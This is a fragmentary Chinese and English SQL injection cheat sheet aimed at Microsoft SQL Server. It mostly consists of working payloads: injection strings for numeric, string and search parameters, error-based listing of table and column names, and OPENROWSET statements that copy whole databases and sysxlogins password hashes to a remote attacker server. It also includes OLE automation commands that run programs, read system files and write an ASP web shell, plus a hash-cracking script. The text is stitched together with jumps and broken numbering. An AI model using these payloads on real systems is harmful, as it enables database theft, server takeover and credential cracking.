select * from 表名 where 字段=49 And [查询条件] (B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下： select * from 表名 where 字段='连续剧' 注入的参数为Class=连续剧' and [查询条件] and ''=' ，即是生成语句： select * from 表名 where 字段='连续剧' and [查询条件] and ''='' (C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下： select * from 表名 where 字段like '%关键字%' 注入的参数为keyword=' and [查询条件] and '%25'='， 即是生成语句： select * from 表名 where字段like '%' and [查询条件] and '%'='%' ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0 sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 从⑤拿到表名后，用object_id('表名')获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。 post.htm内容：主要是方便输入。 <iframe name=p src=# width=800

name<>'vote');-- 然后id=1552 and exists(select * from aaa where aaa>5) 读出第二个表，^^^^^^一个个的读出，直到没有为止。 读字段是这样： id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- 然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名 --------------------------------高级技巧： [获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]

@a 'dir c:\' 1、 开启远程数据库 基本语法 select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 参数: (1) OLEDB Provider name 2、 其中连接字符串参数可以是任何和端口用来连接,比如 select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table' 要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。 基本语法： insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2 insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') select * from master.dbo.sysdatabases insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') select * from user_database.dbo.sysobjects insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns') select * from user_database.dbo.syscolumns 之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库： insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2 ...... 3、 复4、 制哈西表（HASH） 这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下： insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins 得到hash之后，6、 就可以进行暴力破解。这需要一点运气和大量时间。 遍历目录的方法： 先创建一个临时表：temp '5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

…………………………………………………… -- wscript.shell example declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' It could be run in our sample scenario by specifying the following username (all on one line): Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'-- 2) This example uses the 'scripting.filesystemobject' object to read a known text file: -- scripting.filesystemobject example - read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end 3) This example creates an ASP script that will run any command passed to it in the querystring: -- scripting.filesystemobject example - create a 'run this' .asp file declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>' It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account. 4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16 declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528 waitfor delay '00:00:05' This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'): Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-- 常用密码和相关语句： password sqlserver sql admin sesame sa guest Here is the script: (sqlcrack.sql) create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords THE END |
